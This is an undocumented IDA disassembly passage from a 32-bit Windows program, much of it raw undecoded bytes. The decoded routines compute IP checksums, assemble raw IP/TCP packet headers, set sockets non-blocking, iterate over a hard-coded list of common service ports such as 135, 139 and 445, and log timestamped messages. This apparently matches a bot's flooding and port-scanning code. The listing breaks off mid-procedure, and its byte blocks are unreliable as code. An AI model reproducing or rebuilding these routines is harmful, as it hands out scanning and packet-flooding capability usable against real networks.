		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABB0h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAFA4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0A415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435E0C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435DBC68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2BBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EE868FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0CA52E800h, 2B900226h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF48h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D5A868h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	3868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435F1Ch, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43610Ch, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh
		dd 50004CAFh, 4360BC68h, 8D1BEB00h, 0FF500C45h,	4CAFE415h
		dd 0FFF88300h, 15FF2075h, 4CAF38h, 60786850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 604C68FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7583Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D5A868ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h
		dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch
		dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h
		dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h
		dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h,	523D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch
		dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h,	546852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE338h, 0FFF475FFh,	4CB00815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0C556E8FCh, 2B900226h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE868h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5C68500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 613868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF4C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h,	0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB02415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E7CCBF83h, 6468004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 64685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h
		dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h
		dd 0A366286Ah, 4CE76Ch,	0AFA415FFh, 0D80004Ch, 4CE770h
		dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh
		dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h
		dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh
		dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh
		dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h
		dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h,	4CE7A81Dh
		dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh
		dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh
		dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch
		dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h
		dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h,	7CBE5905h
		dd 0BF004CE7h, 4CE7ACh,	721D8966h, 66004CE7h, 0E78C1D89h
		dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h
		dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h,	286A5300h
		dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0A9E890FFh, 2B0226BEh, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B491h
		dd 0FDC2E990h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D160
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D160[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D178[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42923C
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436180
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D160

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43616C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27600EBh
		mov	ebx, offset dword_4D2BCC
		mov	edi, 80h
		mov	esi, offset dword_4CEBCC

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEBCC
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2BCC
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4361CC
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_4361B8
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361FC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEBCC

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2BCC
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361E0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
